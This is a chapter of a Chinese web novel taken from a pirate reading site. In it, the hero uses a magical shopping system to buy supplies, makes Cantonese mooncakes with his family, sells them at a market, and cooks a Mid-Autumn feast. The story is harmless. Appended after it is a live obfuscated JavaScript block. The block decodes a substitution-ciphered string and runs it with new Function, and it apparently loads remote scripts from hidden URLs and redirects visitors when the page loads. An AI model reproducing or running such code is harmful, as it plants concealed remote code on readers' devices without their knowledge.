首页
[切换至繁体版]
返回

第一百二十八章 广式月饼

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    日子一晃,就到了农历八月。单位里提前发下来中秋节的福利——每人两张月饼票。
    这年头,月饼票可是金贵东西。凭票可以去指定的供销社购买月饼。
    陈飞拿着那两张薄薄的、印着红色字迹的月饼票。下班后,特意去了供销社。店里人头攒动,都是拿着月饼票来的职工。柜台里摆着几种月饼,最常见的就是牛皮纸包着的五仁月饼,表皮油润,印着简单的花纹,看着挺实在。
    陈飞排了会儿队,用两张票换了四个五仁月饼,用纸绳捆着提在手里。
    回到家,赵春梅看到月饼:“哎呦,单位发月饼了!这可是好东西!”
    小满也凑过来,大眼睛好奇:“这就是月饼吗?好吃吗?”
    “好吃,可好吃了!等咱们拜了月就吃!”赵春梅乐呵呵地说。
    林婉看着月饼,眼神里也有些许怀念。
    陈飞把月饼放好:“眼看中秋节了,我想着,咱们的萝卜条照卖,另外……再加点新花样。”
    林婉抬眼看他。
    “咱们自己做点月饼卖。”陈飞。
    林婉:“自己做月饼?那需要油、糖、白面……还有模子,这可不好弄。”
    陈飞笑了笑:“材料我来想办法。”
    晚上,陈飞意识沉入系统,直接搜索“月饼”。
    瞬间,商品信息跳了出来。广式月饼、苏式月饼、冰皮月饼……各种馅料:莲蓉、豆沙、枣泥、蛋黄、火腿……还有成套的月饼模具,木质、塑料的都有,花纹各异。
    首先,是材料:
    白面五十斤(消耗400闪购币)
    白糖二十斤(消耗1000闪购币)
    花生油十斤(消耗500闪购币)。
    红豆十斤(消耗100闪购币),可以做豆沙馅。
    红枣五斤(消耗150闪购币),做枣泥馅。
    还有一些瓜子仁、核桃仁(消耗200闪购币)。
    还买了“糖浆”和“枧水”(共消耗300闪购币)
    又选了几种简单的月饼模具(消耗100闪购币),花纹选了传统的“福禄寿喜”和花鸟图案,材质是木头。
    最后,还买了一本《广式月饼家庭简易制法》(消耗50闪购币),里面详细记录了从熬糖浆(他可以直接用现成的)、和面、制馅到包制、压模、烘烤的全过程,文字通俗,配了简单的示意图。
    这些东西,陈飞抽时间带回了家。
    陈飞把制作方法递给林婉,“你看看这个,能看懂不?咱们就照着这个来。”
    林婉接过,仔细翻看起来。她本就聪慧,以前在家也见过厨娘制作精细点心,虽然没亲手做过,但看这上面的步骤清晰,配比明确,心里渐渐有了底。
    “应该……可以试试。”她抬起头。
    说干就干。赵春梅负责继续腌制萝卜条,陈飞和林婉则开始了月饼的“试验”。
    第一步是糖浆。直接有现成的。
    接着是和面。按照比例,将糖浆、花生油、枧水混合均匀,再加入白面,揉成光滑的面团。
    馅料决定先试豆沙和枣泥。红豆和红枣分别煮熟,去皮去核,然后在锅里加糖和油慢慢炒干。这是个力气活,陈飞主动接了过来,拿着锅铲在灶台前不停地翻炒,空气中弥漫开豆沙和枣泥的香甜气。
    赵春梅正切着萝卜:“这味儿可真香!”
    小满更是小尾巴似的守在厨房门口,眼巴巴地望着。
    馅料炒好,面团也差不多了。林婉将面团和馅料分成均匀的小剂子,用皮包住馅,揉圆,再放进撒了干粉的月饼模具里,轻轻压实,然后小心地磕出来。
    一个印着清晰“福”字、圆润饱满的月饼胚就做好了!虽然第一个有点歪,但后面越来越熟练,一个个“福”、“禄”、“寿”、“喜”和花鸟图案的月饼胚整齐地码在盖帘上,看着就喜兴。
    最后一步是烘烤。家里没有烤箱,只能用传统的铁锅烙。陈飞把大铁锅刷干净,烧热,刷上油,将月饼胚放进去,盖上锅盖,用极小的火慢慢烙烤。这需要掌握火候,不然容易外面焦了里面还没熟。陈飞时不时揭开锅盖查看,调整火力。
    慢慢地,一股混合着面香、油香和糖香的浓郁气味从锅边溢了出来,越来越浓。当陈飞再次揭开锅盖时,只见锅里的月饼表皮变成了诱人的金黄色,泛着油光,“福”字图案清晰漂亮!
    “成了!”陈飞用锅铲小心地铲出一个。月饼还有点烫手,但形状完整,看着比供销社卖的月饼精致多了!
    林婉接过月饼,仔细看着,赵春梅也围过来:“哎呦喂!这月饼做得可真俊!跟画儿似的!”
    陈飞把月饼掰开,豆沙馅炒得恰到好处,油润细腻,散发着浓郁的豆香和甜香。分了几块,都尝了尝。
    饼皮酥软,带着糖浆特有的回甘和油香,馅料香甜绵密。
    “好吃!真好吃!”赵春梅连连称赞,林婉小口吃着,也点了点头,眼中满是成就感。
    小满吃得满嘴都是豆沙:“甜!好吃!”
    第一次试验,大获成功!
    接下来,林婉又包了枣泥馅和两种的五仁馅(一种加入更多瓜子仁,另一种加入更多的核桃仁),一共做了大约一百个月饼,每种馅料各二十五个。
    中秋节前一天,陈飞家的摊位上,除了用油纸包好的麻辣萝卜条,又多了一样新东西——用干净白纸独立包装的广式月饼!每个月饼下面还垫着一小方裁好的红纸,显得格外醒目和……高级。
    月饼的定价,陈飞斟酌了很久。最终定在五毛钱一个。
    果然,当月饼摆出来,那精致的卖相和散发出的诱人甜香,立刻引起了注意。
    “同志,这……这是月饼?咋长这样?”
    “这花纹可真漂亮!闻着也香!”
    “五毛钱一个?这么贵?!”
    围观的人比买萝卜条时多了几倍,但问的多,真下决心买的少。大家都被这价格吓住了。
    这时,一个穿着中山装、干部模样,带着老婆孩子来逛集市的中年男人:“同志,你这月饼馅是……”
    陈飞:“红枣,豆沙,核桃五仁,瓜子五仁,试着做点,数量不多。”
    “给我来四个!豆沙和枣泥的各两个!”他掏出两块钱,爽快地付了账。
    这就像一个信号,几个家境不错,或者想在中秋节撑撑场面的人,也开始购买。你两个,我三个,很快,二十几个月饼就卖出去了。
    有个买了月饼的人,当场拆开一个给孩子尝的,那孩子咬了一口,眼睛顿时亮了,嘴角沾满了馅料,连连说“好吃!”这场景更是刺激了周围的人。
    虽然贵,但这月饼的品相和味道,确实值这个价!尤其是那种不同于北方月饼的酥软口感和更细腻的甜味,让人欲罢不能。
    一百个月饼,不到中午,就被抢购一空!连同带去的上百包萝卜条,也卖得干干净净。
    算账的时候,光是月饼,就卖了五十块钱!加上萝卜条的十几块,一天收入六十多块!
    中秋节当天,没去出摊。晚上,陈飞在家里张罗了一顿丰盛的晚餐。
    从系统里买了新鲜的排骨(消耗300闪购币)、一只三黄鸡(消耗400闪购币)、还有各种蔬菜配料(消耗200闪购币)。他亲自下厨,做了玉米萝卜排骨汤,汤色奶白,鲜香浓郁;做了大盘鸡,鸡肉嫩滑,土豆吸饱了汤汁,香辣过瘾;做了宫保鸡丁,鸡丁滑嫩,花生米酥脆,酸甜微麻;还烙了葱花油饼,外酥里嫩,葱香四溢。
    房间里,香气四溢,充满了烟火气和节日氛围。桌上摆得满满当当。
    赵春梅看着这一桌子菜:“多少年没这么像样地过个节了……”
    小满高兴得像只小鸟,在桌子旁转来转去。
    一家四口围坐在一起,吃着丰盛的饭菜,说着闲话。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();